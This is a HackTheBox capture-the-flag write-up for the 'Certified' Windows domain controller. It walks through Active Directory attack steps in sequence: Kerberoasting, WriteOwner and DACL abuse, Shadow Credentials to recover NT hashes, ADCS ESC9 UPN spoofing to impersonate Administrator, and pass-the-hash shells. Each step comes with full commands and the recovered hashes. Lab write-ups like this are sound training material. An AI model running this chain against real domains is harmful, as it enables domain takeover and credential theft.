Skip to content

Certified

Field Value
Platform HackTheBox
OS Windows (Domain Controller)
Difficulty Medium
Initial Vector Provided creds → BloodHound ACL chain → Shadow Credentials → WinRM as management_svc
Privesc GenericAll → Shadow Credentials on ca_operator → ESC9 UPN spoofing → Administrator hash

Note: This machine provides starting credentials: judith.mader : judith09


Phase 1 — Reconnaissance

I started with a fast SYN sweep across all TCP ports, then ran a focused version and script scan against the discovered ports.

nmap -sS -n -Pn --min-rate 5000 -p- 10.129.231.186 -oG ports
nmap -sV -sC -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49667,49693,49694,49695,49722,49727,49772 --min-rate 5000 10.129.231.186 -n -Pn
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-22 08:03:24Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: certified.htb, ...)
| ssl-cert: Subject Alternative Name: DNS:DC01.certified.htb, DNS:certified.htb, DNS:CERTIFIED
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certified.htb)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: certified.htb)
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certified.htb)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing

Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
smb2-security-mode: Message signing enabled and required
clock-skew: mean: 7h00m01s, deviation: 0s, median: 7h00m01s
Port Service Version Notes
53 DNS Simple DNS Plus Domain: certified.htb
88 Kerberos DC confirmed; hostname DC01
139/445 SMB Signing required; access with provided creds
389/636/3268/3269 LDAP/LDAPS SAN confirms DC01.certified.htb
5985 WinRM HTTPAPI 2.0 Only management_svc is in Remote Management Users
9389 mc-nmf .NET AD Web Services

The domain certified.htb and hostname DC01 were confirmed via LDAP banner and SSL certificate SAN. Clock skew was exactly +7 hours with zero deviation — mandatory to correct before any Kerberos operation. SMB signing required ruled out relay attacks.

timedatectl set-ntp false
ntpdate -u 10.129.231.186
echo "10.129.231.186 certified.htb DC01.certified.htb" >> /etc/hosts

Phase 2 — Service Enumeration

SMB (445)

I validated the provided credentials and enumerated accessible shares.

nxc smb 10.129.231.186 -u 'judith.mader' -p 'judith09' --shares
Screenshot

judith.mader had read access to IPC$, NETLOGON, and SYSVOL. All three were browsed and returned nothing actionable. I built a domain user list via rpcclient and checked description fields for stored credentials.

rpcclient -U "certified.htb/judith.mader%judith09" 10.129.231.186 -c "enumdomusers" | grep -oP '\[.*?\]' | grep -v '0x' | tr -d '[]' > users.txt
rpcclient -U "certified.htb/judith.mader%judith09" 10.129.231.186 -c "querydispinfo"
Screenshot
Screenshot

No passwords in description fields.


Kerberos (88)

I checked both Kerberos attack paths before moving to ACL enumeration.

GetNPUsers.py -usersfile users.txt -request -dc-ip 10.129.231.186 'certified.htb/'
GetUserSPNs.py certified.htb/judith.mader:judith09 -dc-ip 10.129.231.186 -request
Screenshot

AS-REP roasting returned nothing — all accounts required pre-authentication. Kerberoasting returned a $krb5tgs$23$ hash for management_svc. I attempted to crack it offline with both John and Hashcat against rockyou.txt.

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt
Screenshot

The hash did not crack. Brute-force was not the intended path — ACL abuse via BloodHound would be needed to compromise management_svc.


LDAP (389)

I ran a full domain dump with ldapdomaindump to review group memberships before launching BloodHound.

python3 -m ldapdomaindump -u 'certified.htb\judith.mader' -p judith09 10.129.231.186
Screenshot

domain_users_by_group.html confirmed that management_svc was the only member of Remote Management Users — meaning WinRM access required compromising exactly that account.


Phase 3 — Attack Path

Post-Shell Enumeration — BloodHound Analysis

I collected all AD relationship data and loaded it into BloodHound CE to map ACL-based attack paths.

/opt/Bloodhound/bloodhound-cli up
nxc ldap 10.129.231.186 -u 'judith.mader' -p 'judith09' --bloodhound --collection All --dns-server 10.129.231.186 --port 389
Screenshot
Screenshot

BloodHound revealed the following ACL chain:

  • judith.maderWriteOwnerMANAGEMENT group
  • MANAGEMENT group → GenericWritemanagement_svc
  • management_svcGenericAllca_operator

The full path: take ownership of management → grant self AddMember → add judith.mader to the group → abuse GenericWrite to perform Shadow Credentials on management_svc → recover its NT hash → use GenericAll on ca_operator to repeat Shadow Credentials → abuse ADCS ESC9 as ca_operator to impersonate Administrator.


Lateral Movement — ACL Chain Exploitation

Step 1 — WriteOwner: Take ownership of the management group

WriteOwner allows reassigning the owner of an AD object. As the new owner, the principal gains implicit full control over the object's DACL. I assigned judith.mader as the new owner of the management group using owneredit.py.

owneredit.py -action write -new-owner 'judith.mader' -target 'management' 'certified.htb'/'judith.mader':'judith09'
Screenshot

Step 2 — Grant AddMember to judith.mader

As the new owner I could modify the group's DACL directly. I used dacledit.py to grant judith.mader the WriteMembers right, enabling her to add members to the group.

dacledit.py -action 'write' -rights 'WriteMembers' -principal 'judith.mader' -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB' 'certified.htb'/'judith.mader':'judith09'
Screenshot

Step 3 — Add judith.mader to the management group

net rpc group addmem "management" "judith.mader" -U "certified.htb"/"judith.mader"%"judith09" -S "10.129.231.186"

I confirmed membership via rpcclient.

rpcclient -U "certified.htb/judith.mader%judith09" 10.129.231.186 -c "querygroupmem 0x450"
rpcclient -U "certified.htb/judith.mader%judith09" 10.129.231.186 -c "queryuser 0x44f"
Screenshot

judith.mader was now a member of management and inherited its GenericWrite over management_svc.

Step 4 — Shadow Credentials on management_svc

GenericWrite permits writing to the msDS-KeyCredentialLink attribute on a user object. Shadow Credentials exploits this by injecting a Key Credential — a public key whose private key we control. The target account can then be authenticated via PKINIT using the certificate, and the AS-REP session key from that exchange can be used to recover the account's NT hash without touching or changing its password.

I injected the Key Credential with pywhisker.

pywhisker -d "certified.htb" -u "judith.mader" -p "judith09" --target "management_svc" --action "add"
Screenshot
[+] Saved PFX (#PKCS12) certificate & key at path: nKDIIeMs.pfx
[*] Must be used with password: XXqHUzK9HfNAYA5B6VIj

I requested a TGT for management_svc using the certificate via PKINIT.

python3 gettgtpkinit.py -cert-pfx ../nKDIIeMs.pfx -pfx-pass XXqHUzK9HfNAYA5B6VIj certified.htb/management_svc management_svc.ccache
Screenshot
AS-REP encryption key: bae468804c3d669e567a1f727b81e3646fbfbcadc6333d8ae4b38cfb23d72d5c

I extracted the NT hash from the AS-REP session key using getnthash.py.

KRB5CCNAME=management_svc.ccache python3 getnthash.py -key bae468804c3d669e567a1f727b81e3646fbfbcadc6333d8ae4b38cfb23d72d5c -dc-ip 10.129.231.186 certified.htb/management_svc
Screenshot
Recovered NT Hash: a091c1832bcdd4677c28b5a6a1295584

Initial Access — WinRM as management_svc

I passed the NT hash to WinRM and opened a shell.

nxc winrm 10.129.231.186 -u 'management_svc' -H a091c1832bcdd4677c28b5a6a1295584
evil-winrm -i certified.htb -u 'management_svc' -H 'a091c1832bcdd4677c28b5a6a1295584'

The user flag was located at C:\Users\management_svc\Desktop\user.txt.


Privilege Escalation — Shadow Credentials on ca_operator → ESC9

management_svc had GenericAll over ca_operator — the same Shadow Credentials technique applied.

pywhisker -d "certified.htb" -u "management_svc" -H "a091c1832bcdd4677c28b5a6a1295584" --target "ca_operator" --action "add"
[+] Saved PFX (#PKCS12) certificate & key at path: zn9LW28B.pfx
[*] Must be used with password: TJeUVK3WqpbALohG8odR
gettgtpkinit.py -cert-pfx zn9LW28B.pfx -pfx-pass TJeUVK3WqpbALohG8odR certified.htb/ca_operator ca_operator.ccache
AS-REP encryption key: abea090a2a5f5a44d83ac5bea1fe651e3fc1fde8f98c01ff47c3d98b8015fb26
KRB5CCNAME=ca_operator.ccache getnthash.py -key abea090a2a5f5a44d83ac5bea1fe651e3fc1fde8f98c01ff47c3d98b8015fb26 -dc-ip 10.129.231.186 certified.htb/ca_operator
Screenshot
Recovered NT Hash: b4b86f45c6018f1b664f70805f45d8f2

ca_operator was not in Remote Management Users — WinRM was denied. Its value was ADCS enrollment permissions on a vulnerable certificate template.

ESC9 — UPN spoofing via NoSecurityExtension template

ESC9 applies when a certificate template has the NoSecurityExtension enrollment flag set. Without a SID embedded in the certificate, the DC maps the certificate to an account using only the UPN field. By temporarily setting ca_operator's UPN to [email protected], requesting a certificate, then reverting it, the resulting certificate authenticates as Administrator when presented to the DC.

I first identified the vulnerable template with certipy-ad.

certipy-ad find -username ca_operator -hashes :b4b86f45c6018f1b664f70805f45d8f2 -dc-ip 10.129.231.186 -stdout

Template CertifiedAuthentication was flagged as vulnerable to ESC9. I used management_svc — which held GenericAll over ca_operator — to update ca_operator's UPN.

certipy-ad account update -u [email protected] -hashes :a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn [email protected] -dc-ip 10.129.231.186
Screenshot

With the UPN pointing at administrator, I requested a certificate as ca_operator against the vulnerable template.

certipy-ad req -u '[email protected]' -hashes :b4b86f45c6018f1b664f70805f45d8f2 -ca certified-DC01-CA -template CertifiedAuthentication -dc-ip 10.129.231.186 -debug
Screenshot
[*] Wrote certificate and private key to 'administrator.pfx'

I immediately reverted ca_operator's UPN to its original value. Leaving the UPN pointing at administrator causes KDC_ERR_C_PRINCIPAL_UNKNOWN errors on subsequent authentication attempts for ca_operator.

certipy-ad account update -u [email protected] -hashes :a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn [email protected] -dc-ip 10.129.231.186

I authenticated with the certificate to recover the Administrator NT hash via PKINIT.

certipy-ad auth -pfx administrator.pfx -domain certified.htb -dc-ip 10.129.231.186
Screenshot
Administrator NT Hash: 0d5b49608bbce1751f708748f67e2d34

I passed the NT hash to evil-winrm to open an Administrator shell.

nxc winrm 10.129.231.186 -u 'administrator' -H 0d5b49608bbce1751f708748f67e2d34
evil-winrm -i 10.129.231.186 -u 'administrator' -H 0d5b49608bbce1751f708748f67e2d34
Screenshot

Shell obtained as certified\Administrator. The root flag was retrieved from C:\Users\Administrator\Desktop\root.txt.


Flags

Flag Path Value
User C:\Users\management_svc\Desktop\user.txt FLAG{REDACTED}
Root C:\Users\Administrator\Desktop\root.txt FLAG{REDACTED}

Conclusion

  1. A two-phase Nmap scan identified a Windows DC with SMB, LDAP, Kerberos, and WinRM exposed; the domain certified.htb and hostname DC01 were confirmed via LDAP banner and SSL certificate SAN. Provided starting credentials were judith.mader : judith09.
  2. SMB enumeration, description field inspection, AS-REP roasting, and Kerberoasting all returned limited results — a krb5tgs$23$ hash for management_svc was recovered but failed to crack against rockyou.txt. ACL abuse was the intended path.
  3. BloodHound revealed a four-step chain: judith.maderWriteOwnerMANAGEMENT group → GenericWritemanagement_svcGenericAllca_operator.
  4. owneredit.py reassigned ownership of the management group to judith.mader; dacledit.py granted WriteMembers; judith.mader was added to the group via net rpc group addmem, inheriting GenericWrite over management_svc.
  5. Shadow Credentials via pywhisker injected a Key Credential into management_svc's msDS-KeyCredentialLink; gettgtpkinit.py and getnthash.py recovered the NT hash — a091c1832bcdd4677c28b5a6a1295584 — without touching the account's password. WinRM access was confirmed and the user flag retrieved.
  6. The same Shadow Credentials flow against ca_operator (via management_svc's GenericAll) recovered its NT hash; certipy-ad identified template CertifiedAuthentication as vulnerable to ESC9; ca_operator's UPN was temporarily set to [email protected], a certificate was requested, the UPN was reverted, and certipy-ad auth converted the PFX to the Administrator NT hash — 0d5b49608bbce1751f708748f67e2d34 — yielding a Domain Admin shell and the root flag.

The system fell because a layered ACL misconfiguration chain — WriteOwner enabling group takeover, GenericWrite enabling Shadow Credentials, and GenericAll compounding into ADCS ESC9 — created a fully authenticated-to-Administrator path from a low-privilege starting account without requiring any hash cracking, exploit, or code execution on the DC.